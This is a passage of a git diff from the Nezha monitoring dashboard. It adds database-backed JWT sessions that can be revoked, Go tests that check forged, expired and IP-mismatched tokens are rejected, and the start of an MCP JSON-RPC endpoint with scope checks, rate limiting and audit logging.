返回用户ID和IP地址的组合，用于在payloadFunc中设置JWT claims - return map[string]interface{}{ - "user_id": utils.Itoa(user.ID), - "ip": realip, - }, nil + return issueJWTSession(c, &user, singleton.Conf.JWTTimeout) } } @@ -158,8 +241,17 @@ func unauthorized() func(c *gin.Context, code int, message string) { // @Tags auth required // @Produce json // @Success 200 {object} model.CommonResponse[model.LoginResponse] -// @Router /refresh-token [get] +// @Router /refresh-token [post] func refreshResponse(c *gin.Context, code int, token string, expire time.Time) { + if keyID := c.GetString(jwtClaimKeyID); keyID != "" { + _ = singleton.DB.Model(&model.JWTSession{}). + Where("key_id = ?", keyID). + Updates(map[string]interface{}{ + "expires_at": expire, + "last_used_at": time.Now(), + }).Error + } + setCSRFCookie(c) c.JSON(http.StatusOK, model.CommonResponse[model.LoginResponse]{ Success: true, Data: model.LoginResponse{ diff --git a/cmd/dashboard/controller/jwt_session_test.go b/cmd/dashboard/controller/jwt_session_test.go new file mode 100644 index 00000000..29b5e15e --- /dev/null +++ b/cmd/dashboard/controller/jwt_session_test.go @@ -0,0 +1,366 @@ +package controller + +import ( + "bytes" + "encoding/json" + "net/http/httptest" + "testing" + "time" + + jwt "github.com/appleboy/gin-jwt/v2" + "github.com/gin-gonic/gin" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + "golang.org/x/crypto/bcrypt" + "gorm.io/driver/sqlite" + "gorm.io/gorm" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/pkg/idcodec" + "github.com/nezhahq/nezha/service/singleton" +) + +const jwtSessionTestMasterKey = "0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef" + +func setupJWTSessionTest(t *testing.T) (cleanup func()) { + t.Helper() + require.NoError(t, idcodec.Init([]byte(jwtSessionTestMasterKey))) + + originalDB := singleton.DB + originalConf := singleton.Conf + db, err := gorm.Open(sqlite.Open(":memory:"), &gorm.Config{}) + require.NoError(t, err) + sqlDB, err := db.DB() + require.NoError(t, err) + require.NoError(t, db.AutoMigrate(&model.User{}, &model.JWTSession{}, &model.WAF{})) + singleton.DB = db + singleton.Conf = &singleton.ConfigClass{Config: &model.Config{JWTTimeout: 1}} + + require.NoError(t, db.Create(&model.User{ + Common: model.Common{ID: 100}, + Username: "victim", + Role: model.RoleMember, + TokenVersion: 7, + }).Error) + + return func() { + _ = sqlDB.Close() + singleton.DB = originalDB + singleton.Conf = originalConf + } +} + +func newCtxForUser(userID uint64, ip, ua string) *gin.Context { + gin.SetMode(gin.TestMode) + ctx, _ := gin.CreateTestContext(httptest.NewRecorder()) + ctx.Request = httptest.NewRequest("GET", "/", nil) + ctx.Request.Header.Set("User-Agent", ua) + ctx.Set(model.CtxKeyRealIPStr, ip) + if userID != 0 { + ctx.Set(model.CtxKeyAuthorizedUser, &model.User{Common: model.Common{ID: userID}}) + } + return ctx +} + +func TestIssueJWTSessionWritesRow(t *testing.T) { + cleanup := setupJWTSessionTest(t) + defer cleanup() + + ctx := newCtxForUser(0, "1.2.3.4", "test-ua") + user := model.User{Common: model.Common{ID: 100}, TokenVersion: 7} + claims, err := issueJWTSession(ctx, &user, 1) + require.NoError(t, err) + + hashUID, _ := claims[jwtClaimUserID].(string) + keyID, _ := claims[jwtClaimKeyID].(string) + assert.NotEqual(t, "100", hashUID, "uid claim must be obfuscated, not raw integer") + got, err := idcodec.Decode(hashUID) + require.NoError(t, err) + assert.Equal(t, uint64(100), got) + + var sess model.JWTSession + require.NoError(t, singleton.DB.First(&sess, "key_id = ?", keyID).Error) + assert.Equal(t, uint64(100), sess.UserID) + assert.Equal(t, "1.2.3.4", sess.IP) + assert.Equal(t, uint64(7), sess.TokenVersion) + assert.True(t, sess.ExpiresAt.After(time.Now())) +} + +func TestIdentityHandlerHappyPath(t *testing.T) { + cleanup := setupJWTSessionTest(t) + defer cleanup() + + ctx := newCtxForUser(0, "1.2.3.4", "ua") + user := model.User{Common: model.Common{ID: 100}, TokenVersion: 7} + claims, err := issueJWTSession(ctx, &user, 1) + require.NoError(t, err) + + verify := newCtxForUser(0, "1.2.3.4", "ua") + verify.Set("JWT_PAYLOAD", jwt.MapClaims{ + jwtClaimUserID: claims[jwtClaimUserID], + jwtClaimKeyID: claims[jwtClaimKeyID], + }) + + identity := identityHandler()(verify) + require.NotNil(t, identity, "happy path must return user identity") + u := identity.(*model.User) + assert.Equal(t, uint64(100), u.ID) +} + +func TestIdentityHandlerRejectsMismatchedClaimUID(t *testing.T) { + cleanup := setupJWTSessionTest(t) + defer cleanup() + + ctx := newCtxForUser(0, "1.2.3.4", "ua") + user := model.User{Common: model.Common{ID: 100}, TokenVersion: 7} + claims, err := issueJWTSession(ctx, &user, 1) + require.NoError(t, err) + + forgedUID, err := idcodec.Encode(999) + require.NoError(t, err) + + verify := newCtxForUser(0, "1.2.3.4", "ua") + verify.Set("JWT_PAYLOAD", jwt.MapClaims{ + jwtClaimUserID: forgedUID, + jwtClaimKeyID: claims[jwtClaimKeyID], + }) + + identity := identityHandler()(verify) + assert.Nil(t, identity, "claim uid not matching session.user_id must reject") +} + +func TestIdentityHandlerRejectsRevokedSession(t *testing.T) { + cleanup := setupJWTSessionTest(t) + defer cleanup() + + ctx := newCtxForUser(0, "1.2.3.4", "ua") + user := model.User{Common: model.Common{ID: 100}, TokenVersion: 7} + claims, err := issueJWTSession(ctx, &user, 1) + require.NoError(t, err) + keyID := claims[jwtClaimKeyID].(string) + require.NoError(t, singleton.RevokeJWTSession(keyID)) + + verify := newCtxForUser(0, "1.2.3.4", "ua") + verify.Set("JWT_PAYLOAD", jwt.MapClaims{ + jwtClaimUserID: claims[jwtClaimUserID], + jwtClaimKeyID: claims[jwtClaimKeyID], + }) + + identity := identityHandler()(verify) + assert.Nil(t, identity, "revoked session must reject") +} + +func TestIdentityHandlerRejectsTokenVersionBump(t *testing.T) { + cleanup := setupJWTSessionTest(t) + defer cleanup() + + ctx := newCtxForUser(0, "1.2.3.4", "ua") + user := model.User{Common: model.Common{ID: 100}, TokenVersion: 7} + claims, err := issueJWTSession(ctx, &user, 1) + require.NoError(t, err) + + require.NoError(t, singleton.DB.Model(&model.User{}). + Where("id = ?", 100). + Update("token_version", 8).Error) + + verify := newCtxForUser(0, "1.2.3.4", "ua") + verify.Set("JWT_PAYLOAD", jwt.MapClaims{ + jwtClaimUserID: claims[jwtClaimUserID], + jwtClaimKeyID: claims[jwtClaimKeyID], + }) + + identity := identityHandler()(verify) + assert.Nil(t, identity, "session whose TokenVersion is stale must reject") +} + +func TestIdentityHandlerFlagsIPMismatch(t *testing.T) { + cleanup := setupJWTSessionTest(t) + defer cleanup() + + ctx := newCtxForUser(0, "1.2.3.4", "ua") + user := model.User{Common: model.Common{ID: 100}, TokenVersion: 7} + claims, err := issueJWTSession(ctx, &user, 1) + require.NoError(t, err) + + verify := newCtxForUser(0, "9.9.9.9", "ua") + verify.Set("JWT_PAYLOAD", jwt.MapClaims{ + jwtClaimUserID: claims[jwtClaimUserID], + jwtClaimKeyID: claims[jwtClaimKeyID], + }) + + identity := identityHandler()(verify) + assert.Nil(t, identity, "IP mismatch must reject") + assert.True(t, verify.GetBool(model.CtxKeyIsIPMismatch)) +} + +func TestIdentityHandlerRejectsUnknownKeyID(t *testing.T) { + cleanup := setupJWTSessionTest(t) + defer cleanup() + + hashUID, err := idcodec.Encode(100) + require.NoError(t, err) + + verify := newCtxForUser(0, "1.2.3.4", "ua") + verify.Set("JWT_PAYLOAD", jwt.MapClaims{ + jwtClaimUserID: hashUID, + jwtClaimKeyID: "this-key-id-was-never-issued", + }) + + identity := identityHandler()(verify) + assert.Nil(t, identity, "key id absent from sessions table must reject (no oracle to confirm secret)") +} + +func TestAuthenticatorPersistsCurrentTokenVersion(t *testing.T) { + cleanup := setupJWTSessionTest(t) + defer cleanup() + + pw, err := bcrypt.GenerateFromPassword([]byte("correct horse"), bcrypt.MinCost) + require.NoError(t, err) + require.NoError(t, singleton.DB.Model(&model.User{}). + Where("id = ?", 100). + Update("password", string(pw)).Error) + + ctx := newCtxForUser(0, "1.2.3.4", "ua") + body, _ := json.Marshal(model.LoginRequest{Username: "victim", Password: "correct horse"}) + ctx.Request = httptest.NewRequest("POST", "/api/v1/login", bytes.NewReader(body)) + ctx.Request.Header.Set("Content-Type", "application/json") + ctx.Request.Header.Set("User-Agent", "ua") + ctx.Set(model.CtxKeyRealIPStr, "1.2.3.4") + + data, err := authenticator()(ctx) + require.NoError(t, err) + claims, ok := data.(map[string]interface{}) + require.True(t, ok, "authenticator must return claims map") + keyID, _ := claims[jwtClaimKeyID].(string) + require.NotEmpty(t, keyID) + + var sess model.JWTSession + require.NoError(t, singleton.DB.First(&sess, "key_id = ?", keyID).Error) + assert.Equal(t, uint64(7), sess.TokenVersion, + "session must record the user's current token_version, otherwise identityHandler will reject the freshly-issued token") + + verify := newCtxForUser(0, "1.2.3.4", "ua") + verify.Set("JWT_PAYLOAD", jwt.MapClaims{ + jwtClaimUserID: claims[jwtClaimUserID], + jwtClaimKeyID: claims[jwtClaimKeyID], + }) + assert.NotNil(t, identityHandler()(verify), + "the very next request with the freshly-issued token must authenticate") +} + +func TestAuthenticator_BadPasswordReturnsFailedAuth(t *testing.T) { + cleanup := setupJWTSessionTest(t) + defer cleanup() + + pw, err := bcrypt.GenerateFromPassword([]byte("correct horse"), bcrypt.MinCost) + require.NoError(t, err) + require.NoError(t, singleton.DB.Model(&model.User{}). + Where("id = ?", 100). + Update("password", string(pw)).Error) + + ctx := newCtxForUser(0, "1.2.3.4", "ua") + body, _ := json.Marshal(model.LoginRequest{Username: "victim", Password: "wrong"}) + ctx.Request = httptest.NewRequest("POST", "/api/v1/login", bytes.NewReader(body)) + ctx.Request.Header.Set("Content-Type", "application/json") + ctx.Request.Header.Set("User-Agent", "ua") + ctx.Set(model.CtxKeyRealIPStr, "1.2.3.4") + + _, err = authenticator()(ctx) + require.Error(t, err, "wrong password must fail authentication") + require.Equal(t, jwt.ErrFailedAuthentication, err) + + var w model.WAF + require.NoError(t, singleton.DB.Where("block_identifier = ?", int64(100)).First(&w).Error, + "bad password must increment WAF counter under user-specific BlockID") + require.GreaterOrEqual(t, w.Count, uint64(1)) +} + +func TestAuthenticator_UnknownUserReturnsFailedAuth(t *testing.T) { + cleanup := setupJWTSessionTest(t) + defer cleanup() + + ctx := newCtxForUser(0, "1.2.3.4", "ua") + body, _ := json.Marshal(model.LoginRequest{Username: "ghost", Password: "anything"}) + ctx.Request = httptest.NewRequest("POST", "/api/v1/login", bytes.NewReader(body)) + ctx.Request.Header.Set("Content-Type", "application/json") + ctx.Set(model.CtxKeyRealIPStr, "1.2.3.4") + + _, err := authenticator()(ctx) + require.Error(t, err) + require.Equal(t, jwt.ErrFailedAuthentication, err) + + var w model.WAF + require.NoError(t, singleton.DB.Where("block_identifier = ?", int64(model.BlockIDUnknownUser)).First(&w).Error, + "unknown user must increment WAF counter under BlockIDUnknownUser") +} + +func TestAuthenticator_RejectPasswordUserRefused(t *testing.T) { + cleanup := setupJWTSessionTest(t) + defer cleanup() + + pw, err := bcrypt.GenerateFromPassword([]byte("ok"), bcrypt.MinCost) + require.NoError(t, err) + require.NoError(t, singleton.DB.Model(&model.User{}). + Where("id = ?", 100). + Updates(map[string]any{"password": string(pw), "reject_password": true}).Error) + + ctx := newCtxForUser(0, "1.2.3.4", "ua") + body, _ := json.Marshal(model.LoginRequest{Username: "victim", Password: "ok"}) + ctx.Request = httptest.NewRequest("POST", "/api/v1/login", bytes.NewReader(body)) + ctx.Request.Header.Set("Content-Type", "application/json") + ctx.Set(model.CtxKeyRealIPStr, "1.2.3.4") + + _, err = authenticator()(ctx) + require.Equal(t, jwt.ErrFailedAuthentication, err, + "users with reject_password=true must not be able to log in via password even with correct one") +} + +func TestIdentityHandler_ExpiredSessionRejected(t *testing.T) { + cleanup := setupJWTSessionTest(t) + defer cleanup() + + ctx := newCtxForUser(0, "1.2.3.4", "ua") + user := model.User{Common: model.Common{ID: 100}, TokenVersion: 7} + claims, err := issueJWTSession(ctx, &user, 1) + require.NoError(t, err) + keyID := claims[jwtClaimKeyID].(string) + + require.NoError(t, singleton.DB.Model(&model.JWTSession{}). + Where("key_id = ?", keyID). + Update("expires_at", time.Now().Add(-time.Hour)).Error) + + verify := newCtxForUser(0, "1.2.3.4", "ua") + verify.Set("JWT_PAYLOAD", jwt.MapClaims{ + jwtClaimUserID: claims[jwtClaimUserID], + jwtClaimKeyID: claims[jwtClaimKeyID], + }) + + identity := identityHandler()(verify) + require.Nil(t, identity, "session whose expires_at is in the past must reject") +} + +func TestRefreshResponse_UpdatesSessionExpires(t *testing.T) { + cleanup := setupJWTSessionTest(t) + defer cleanup() + + ctx := newCtxForUser(0, "1.2.3.4", "ua") + user := model.User{Common: model.Common{ID: 100}, TokenVersion: 7} + claims, err := issueJWTSession(ctx, &user, 1) + require.NoError(t, err) + keyID := claims[jwtClaimKeyID].(string) + + w := httptest.NewRecorder() + c, _ := gin.CreateTestContext(w) + c.Request = httptest.NewRequest("GET", "/api/v1/refresh-token", nil) + c.Set(jwtClaimKeyID, keyID) + + newExpire := time.Now().Add(2 * time.Hour).Truncate(time.Second) + refreshResponse(c, 200, "fake-token", newExpire) + + var sess model.JWTSession + require.NoError(t, singleton.DB.First(&sess, "key_id = ?", keyID).Error) + require.WithinDuration(t, newExpire, sess.ExpiresAt, time.Second, + "refreshResponse must extend the session's expires_at to the new expiry") + require.WithinDuration(t, time.Now(), sess.LastUsedAt, 5*time.Second, + "refreshResponse must touch last_used_at") +} diff --git a/cmd/dashboard/controller/jwt_test.go b/cmd/dashboard/controller/jwt_test.go index f2b58eac..fc9caf71 100644 --- a/cmd/dashboard/controller/jwt_test.go +++ b/cmd/dashboard/controller/jwt_test.go @@ -1,12 +1,18 @@ package controller import ( + "net/http/httptest" "testing" "time" jwt "github.com/appleboy/gin-jwt/v2" "github.com/gin-gonic/gin" + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/pkg/i18n" + "github.com/nezhahq/nezha/service/singleton" "github.com/stretchr/testify/assert" + "gorm.io/driver/sqlite" + "gorm.io/gorm" ) func TestPayloadFunc(t *testing.T) { @@ -77,3 +83,120 @@ func TestIPBinding(t *testing.T) { assert.Nil(t, claims["ip"]) }) } + +func TestValidateRuleRejectsForeignTriggerTasks(t *testing.T) { + ctx := newMemberValidationContext(t) + + alertRule := &model.AlertRule{ + Common: model.Common{UserID: 200}, + Name: "member alert", + Rules: []*model.Rule{{Type: "offline", Duration: 3}}, + FailTriggerTasks: []uint64{42}, + RecoverTriggerTasks: []uint64{42}, + } + + assert.Error(t, validateRule(ctx, alertRule)) +} + +func TestValidateServersRejectsForeignTriggerTasks(t *testing.T) { + ctx := newMemberValidationContext(t) + + service := &model.Service{ + Common: model.Common{UserID: 200}, + Name: "member service", + EnableTriggerTask: true, + FailTriggerTasks: []uint64{42}, + RecoverTriggerTasks: []uint64{42}, + SkipServers: map[uint64]bool{}, + } + + assert.Error(t, validateServers(ctx, service)) +} + +func newMemberValidationContext(t *testing.T) *gin.Context { + t.Helper() + return newValidationContext(t, 200, model.RoleMember) +} + +func newAdminValidationContext(t *testing.T) *gin.Context { + t.Helper() + return newValidationContext(t, 1, model.RoleAdmin) +} + +func newValidationContext(t *testing.T, userID uint64, role model.Role) *gin.Context { + t.Helper() + + originalDB := singleton.DB + originalLoc := singleton.Loc + originalLocalizer := singleton.Localizer + originalCronShared := singleton.CronShared + originalServerShared := singleton.ServerShared + originalUserInfo := singleton.UserInfoMap + + db, err := gorm.Open(sqlite.Open(":memory:"), &gorm.Config{}) + assert.NoError(t, err) + sqlDB, err := db.DB() + assert.NoError(t, err) + assert.NoError(t, db.AutoMigrate( + &model.Cron{}, + &model.Server{}, + &model.NotificationGroup{}, + &model.NotificationGroupNotification{}, + &model.ServerGroup{}, + &model.ServerGroupServer{}, + )) + assert.NoError(t, db.Create(&model.Cron{ + Common: model.Common{ID: 42, UserID: 1}, + Name: "foreign trigger task", + Command: "admin-maintenance", + TaskType: model.CronTypeTriggerTask, + Cover: model.CronCoverAlertTrigger, + }).Error) + assert.NoError(t, db.Create(&model.Cron{ + Common: model.Common{ID: 43, UserID: 200}, + Name: "member trigger task", + Command: "member-task", + TaskType: model.CronTypeTriggerTask, + Cover: model.CronCoverAlertTrigger, + }).Error) + assert.NoError(t, db.Create(&model.NotificationGroup{ + Common: model.Common{ID: 7, UserID: 1}, + Name: "admin group", + }).Error) + assert.NoError(t, db.Create(&model.NotificationGroup{ + Common: model.Common{ID: 8, UserID: 200}, + Name: "member group", + }).Error) + + singleton.DB = db + singleton.Loc = time.Local + singleton.Localizer = i18n.NewLocalizer("en_US", "nezha", "translations", i18n.Translations) + singleton.ServerShared = singleton.NewServerClass() + singleton.CronShared = singleton.NewCronClass() + singleton.UserLock.Lock() + singleton.UserInfoMap = map[uint64]model.UserInfo{ + 1: {Role: model.RoleAdmin}, + 200: {Role: model.RoleMember}, + } + singleton.UserLock.Unlock() + t.Cleanup(func() { + singleton.CronShared.Close() + _ = sqlDB.Close() + singleton.DB = originalDB + singleton.Loc = originalLoc + singleton.Localizer = originalLocalizer + singleton.CronShared = originalCronShared + singleton.ServerShared = originalServerShared + singleton.UserLock.Lock() + singleton.UserInfoMap = originalUserInfo + singleton.UserLock.Unlock() + }) + + gin.SetMode(gin.TestMode) + ctx, _ := gin.CreateTestContext(httptest.NewRecorder()) + ctx.Set(model.CtxKeyAuthorizedUser, &model.User{ + Common: model.Common{ID: userID}, + Role: role, + }) + return ctx +} diff --git a/cmd/dashboard/controller/mcp.go b/cmd/dashboard/controller/mcp.go new file mode 100644 index 00000000..37b60f49 --- /dev/null +++ b/cmd/dashboard/controller/mcp.go @@ -0,0 +1,505 @@ +// Package controller — MCP (Model Context Protocol) server. +// +// 落地约束： +// - 仅支持 Streamable HTTP transport 的 POST 半边（请求-响应、无 SSE）。 +// 首版面向 LLM 工具调用，不需要 server→client 主动推送。后续要做 GET SSE +// 长连接（resource subscription）时再补；客户端兼容 fallback 到普通 POST。 +// - JSON-RPC 2.0 编解码内嵌于本文件，未引入第三方 MCP SDK：MCP 协议表面足够小 +// （initialize / tools/list / tools/call），自实现可控、零额外依赖。 +// - 双层鉴权：闸 1（用户对 server 的所有权）由各 tool handler 调 +// singleton.ServerShared.Get + Server.HasPermission；闸 2（PAT scope）由 +// mcpTool.RequiredScope 在 dispatch 之前过滤。 +package controller + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "net/http" + "strings" + "sync" + "time" + + "github.com/gin-gonic/gin" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/rpc" + "github.com/nezhahq/nezha/service/singleton" +) + +// --- JSON-RPC 2.0 wire types --- + +type jsonRPCRequest struct { + JSONRPC string `json:"jsonrpc"` + ID json.RawMessage `json:"id,omitempty"` + Method string `json:"method"` + Params json.RawMessage `json:"params,omitempty"` +} + +type jsonRPCResponse struct { + JSONRPC string `json:"jsonrpc"` + ID json.RawMessage `json:"id,omitempty"` + Result any `json:"result,omitempty"` + Error *jsonRPCError `json:"error,omitempty"` +} + +type jsonRPCError struct { + Code int `json:"code"` + Message string `json:"message"` + Data any `json:"data,omitempty"` +} + +const ( + // JSON-RPC 标准错误码 + rpcErrParse = -32700 + rpcErrInvalidRequest = -32600 + rpcErrMethodNotFound = -32601 + rpcErrInvalidParams = -32602 + rpcErrInternal = -32603 + // MCP 自定义错误码（>= -32000 高位段） + rpcErrUnauthorized = -32001 + rpcErrForbidden = -32002 +) + +// mcpJSONRPCMaxBodyBytes caps the JSON-RPC envelope size at the dashboard +// edge. Real fs.write base64 content goes through fs.transfer (capped +// separately by model.MCPFsTransferMaxSize) so tools/call params here are +// always small. The cap is intentionally generous (8 MiB) to allow +// per-request batched arguments while making OOM-via-decode impossible. +const mcpJSONRPCMaxBodyBytes = 8 * 1024 * 1024 + +// --- MCP types --- + +// mcpServerInfo MCP initialize 响应的 serverInfo 字段。 +type mcpServerInfo struct { + Name string `json:"name"` + Version string `json:"version"` +} + +type mcpInitializeResult struct { + ProtocolVersion string `json:"protocolVersion"` + Capabilities map[string]any `json:"capabilities"` + ServerInfo mcpServerInfo `json:"serverInfo"` +} + +// mcpToolDescriptor 是 tools/list 返回的单条 tool 描述。 +type mcpToolDescriptor struct { + Name string `json:"name"` + Description string `json:"description"` + InputSchema map[string]any `json:"inputSchema"` + OutputSchema map[string]any `json:"outputSchema,omitempty"` +} + +// mcpToolsListResult tools/list 响应。 +type mcpToolsListResult struct { + Tools []mcpToolDescriptor `json:"tools"` +} + +// mcpContent 是 tools/call 响应里 content[] 的元素。 +// 仅实现 text 类型；嵌入对象的结构化数据放在外层 structuredContent。 +type mcpContent struct { + Type string `json:"type"` + Text string `json:"text,omitempty"` +} + +// mcpToolCallResult tools/call 响应。 +type mcpToolCallResult struct { + Content []mcpContent `json:"content"` + StructuredContent any `json:"structuredContent,omitempty"` + IsError bool `json:"isError,omitempty"` +} + +// --- tool 注册框架 --- + +// mcpToolHandler 实际业务逻辑：拿到 raw params + gin ctx，返回任意可序列化结构。 +type mcpToolHandler func(c *gin.Context, params json.RawMessage) (any, error) + +// mcpTool 是注册表里的单元：声明 + scope 要求 + 处理函数。 +type mcpTool struct { + Name string + Description string + InputSchema map[string]any + OutputSchema map[string]any // 可选；声明 structuredContent 形状，供严格客户端校验 + RequiredScope string // 闸 2 入口；空字符串 = 任意 PAT 都能调（如 meta.whoami） + Handler mcpToolHandler +} + +var ( + mcpToolsMu sync.RWMutex + mcpTools = map[string]*mcpTool{} +) + +// registerMCPTool 把一个 tool 加进全局注册表。建议各 tool 文件在 init() 里调用。 +func registerMCPTool(t *mcpTool) { + if t == nil || t.Name == "" || t.Handler == nil { + panic("registerMCPTool: invalid tool") + } + mcpToolsMu.Lock() + defer mcpToolsMu.Unlock() + if _, dup := mcpTools[t.Name]; dup { + panic("registerMCPTool: duplicate name " + t.Name) + } + mcpTools[t.Name] = t +} + +// listRegisteredMCPTools 拷贝一份当前注册表（按名字稳定排序逻辑放在调用方）。 +func listRegisteredMCPTools() []*mcpTool { + mcpToolsMu.RLock() + defer mcpToolsMu.RUnlock() + out := make([]*mcpTool, 0, len(mcpTools)) + for _, t := range mcpTools { + out = append(out, t) + } + return out +} + +// --- 入口 handler --- + +// mcpEndpoint 处理 POST /mcp。 +// 鉴权：上游 apiTokenAuthMiddleware 已经把 PAT 解析到 CtxKeyAuthorizedUser， +// 此处只要确认有 PAT 即可（不接受裸 JWT，避免浏览器误触）。 +func mcpEndpoint(c *gin.Context) { + if singleton.Conf == nil || !singleton.Conf.MCPEnabled() { + writeJSONRPCError(c, nil, rpcErrForbidden, "MCP is disabled by the dashboard administrator") + return + } + tok := APITokenFromContext(c) + if tok == nil { + // 同时返回 HTTP 401 + JSON-RPC error：标准 MCP HTTP client 依赖 + // HTTP 401 触发 auth 重试/OAuth discovery；JSON-RPC body 保留旧字段 + // 不打破 ScopeDenied 类内部断言。 + writeJSONRPCErrorWithStatus(c, nil, rpcErrUnauthorized, "missing or invalid API token", http.StatusUnauthorized) + return + } + + // MaxBytesReader 必须夹在 PAT 校验通过后、ShouldBindJSON 之前—— + // 校验前限流可能让攻击者用伪造 token 触发 audit；校验后限流既挡住合法 + // PAT 的 OOM，又不会让匿名请求走到 audit 路径。 + if c.Request != nil && c.Request.Body != nil { + c.Request.Body = http.MaxBytesReader(c.Writer, c.Request.Body, mcpJSONRPCMaxBodyBytes) + } + + // Consume the per-token budget before validating the request so malformed + // envelopes and malformed tools/call params cannot flood the dashboard + // without counting against the limiter. The outcome is applied after the + // method is known so tools/call still surfaces the rate limit as a tool + // error rather than a transport-level error. + rateLimited := !mcpRateLimiterShared.Allow(tok.ID) + + var req jsonRPCRequest + if err := c.ShouldBindJSON(&req); err != nil { + if errors.Is(err, errors.New("http: request body too large")) || strings.Contains(err.Error(), "http: request body too large") { + writeJSONRPCErrorWithStatus(c, nil, rpcErrInvalidRequest, "request body exceeds MCP envelope size limit", http.StatusRequestEntityTooLarge) + return + } + // 限流优先：method 无从得知时，over-budget 请求即便 body 畸形也必须 + // 走 429，否则攻击者能用畸形 body 在不计入限额的情况下持续刷 parse error。 + if rateLimited { + writeJSONRPCErrorWithStatus(c, nil, rpcErrForbidden, "rate limit exceeded for this token", http.StatusTooManyRequests) + return + } + writeJSONRPCError(c, nil, rpcErrParse, "invalid json-rpc envelope: "+err.Error()) + return + } + if req.JSONRPC != "2.0" || req.Method == "" { + if rateLimited { + writeJSONRPCErrorWithStatus(c, req.ID, rpcErrForbidden, "rate limit exceeded for this token", http.StatusTooManyRequests) + return + } + writeJSONRPCError(c, req.ID, rpcErrInvalidRequest, "invalid json-rpc envelope") + return + } + + if rateLimited { + if req.Method == "tools/call" { + writeToolCallError(c, req.ID, model.MCPOutcomeRateLimited, "rate limit exceeded for this token") + return + } + writeJSONRPCErrorWithStatus(c, req.ID, rpcErrForbidden, "rate limit exceeded for this token", http.StatusTooManyRequests) + return + } + + switch req.Method { + case "initialize": + writeJSONRPCResult(c, req.ID, mcpInitializeResult{ + ProtocolVersion: "2024-11-05", + Capabilities: map[string]any{ + "tools": map[string]any{"listChanged": false}, + }, + ServerInfo: mcpServerInfo{ + Name: "nezha-mcp", + Version: singleton.Version, + }, + }) + case "notifications/initialized", "ping": + // 客户端通知或心跳；JSON-RPC 通知没有 id，但 ping 有 id 时返回空 result + if len(req.ID) > 0 && string(req.ID) != "null" { + writeJSONRPCResult(c, req.ID, struct{}{}) + return + } + c.Status(http.StatusAccepted) + case "tools/list": + writeJSONRPCResult(c, req.ID, mcpToolsListResult{ + Tools: buildToolDescriptors(), + }) + case "tools/call": + handleToolsCall(c, &req, tok) + default: + writeJSONRPCError(c, req.ID, rpcErrMethodNotFound, "method not supported: "+req.Method) + } +} + +func buildToolDescriptors() []mcpToolDescriptor { + tools := listRegisteredMCPTools() + out := make([]mcpToolDescriptor, 0, len(tools)) + for _, t := range tools { + out = append(out, mcpToolDescriptor{ + Name: t.Name, + Description: t.Description, + InputSchema: t.InputSchema, + OutputSchema: t.OutputSchema, + }) + } + return out +} + +// toolCallParams 是 tools/call 的 params 结构。 +type toolCallParams struct { + Name string `json:"name"` + Arguments json.RawMessage `json:"arguments,omitempty"` +} + +func handleToolsCall(c *gin.Context, req *jsonRPCRequest, tok *model.APIToken) { + var p toolCallParams + if len(req.Params) > 0 { + if err := json.Unmarshal(req.Params, &p); err != nil { + writeJSONRPCError(c, req.ID, rpcErrInvalidParams, "invalid arguments: "+err.Error()) + return + } + } + + if p.Name == "" { + writeJSONRPCError(c, req.ID, rpcErrInvalidParams, "tool name required") + return + } + + mcpToolsMu.RLock() + tool, ok := mcpTools[p.Name] + mcpToolsMu.RUnlock() + if !ok { + writeJSONRPCError(c, req.ID, rpcErrMethodNotFound, "unknown tool: "+p.Name) + return + } + + uid := uint64(0) + if u, ok := c.Get(model.CtxKeyAuthorizedUser); ok { + if user, ok := u.(*model.User); ok && user != nil { + uid = user.ID + } + } + startedAt := time.Now() + audit := model.MCPAuditLog{ + UserID: uid, + TokenID: tok.ID, + Tool: p.Name, + IP: c.GetString(model.CtxKeyRealIPStr), + } + + finish := func(outcome, errCode, errMsg string, result any) { + if outcome == model.MCPOutcomeOK { + textPayload, err := marshalMCPToolResult(result) + if err != nil { + outcome = model.MCPOutcomeAgentError + errCode = model.MCPOutcomeAgentError + errMsg = "failed to encode tool result: " + err.Error() + result = nil + } else { + writeJSONRPCResult(c, req.ID, mcpToolCallResult{ + Content: []mcpContent{{Type: "text", Text: textPayload}}, + StructuredContent: result, + }) + } + } + audit.Outcome = outcome + audit.ErrorCode = errCode + audit.ErrorMsg = truncateString(errMsg, 512) + audit.DurationMs = time.Since(startedAt).Milliseconds() + audit.ServerID = extractServerID(p.Arguments) + mcpAuditWrite(audit, p.Arguments) + + if outcome == model.MCPOutcomeOK { + return + } + // Semantic tool failures may retain a typed structured result (notably + // server.exec) so clients can distinguish a non-zero command outcome from + // transport, authorization, or deadline failures. + writeJSONRPCResult(c, req.ID, mcpToolCallResult{ + Content: []mcpContent{{Type: "text", Text: errMsg}}, + StructuredContent: result, + IsError: true, + }) + } + + if tool.RequiredScope != "" && !tok.HasScope(tool.RequiredScope) { + finish(model.MCPOutcomeScopeDenied, model.MCPOutcomeScopeDenied, + "missing required scope: "+tool.RequiredScope, nil) + return + } + + // 让 PAT 吊销能立即中断进行中的 tools/call（如 server.exec 最长 ~305s）： + // 派生一个可取消 ctx 注入 c.Request，下游 CallAgent 用 c.Request.Context() + // 即会观察到取消；cancel 注册进吊销表，deleteAPIToken 会立刻触发它。 + if c.Request != nil { + callCtx, cancel := context.WithCancel(c.Request.Context()) + defer cancel() + deregister := registerPATConnection(c, cancel) + defer deregister() + c.Request = c.Request.WithContext(callCtx) + } + + result, err := tool.Handler(c, p.Arguments) + if err != nil { + code, msg := classifyToolError(err) + var structuredErr interface{ StructuredResult() any } + if errors.As(err, &structuredErr) { + finish(code, code, msg, structuredErr.StructuredResult()) + return + } + finish(code, code, msg, nil) + return + } + finish(model.MCPOutcomeOK, "", "", result) +} + +// classifyToolError 把任何 handler 返回的 error 归类成审计 outcome + 安全错误消息。 +// 优先匹配 mcpError 自带的 Code；否则匹配已知的 rpc.ErrAgent* 类型，最后回退 internal。 +func classifyToolError(err error) (code, msg string) { + if me, ok := err.(*mcpError); ok { + return me.Code, me.Msg + } + if errors.Is(err, rpc.ErrAgentOffline) { + return model.MCPOutcomeServerOffline, "agent offline" + } + if errors.Is(err, rpc.ErrAgentTimeout) { + return model.MCPOutcomeAgentTimeout, "agent did not respond within timeout" + } + if errors.Is(err, rpc.ErrMCPDisabled) { + // kill switch 触发的中断必须独立成 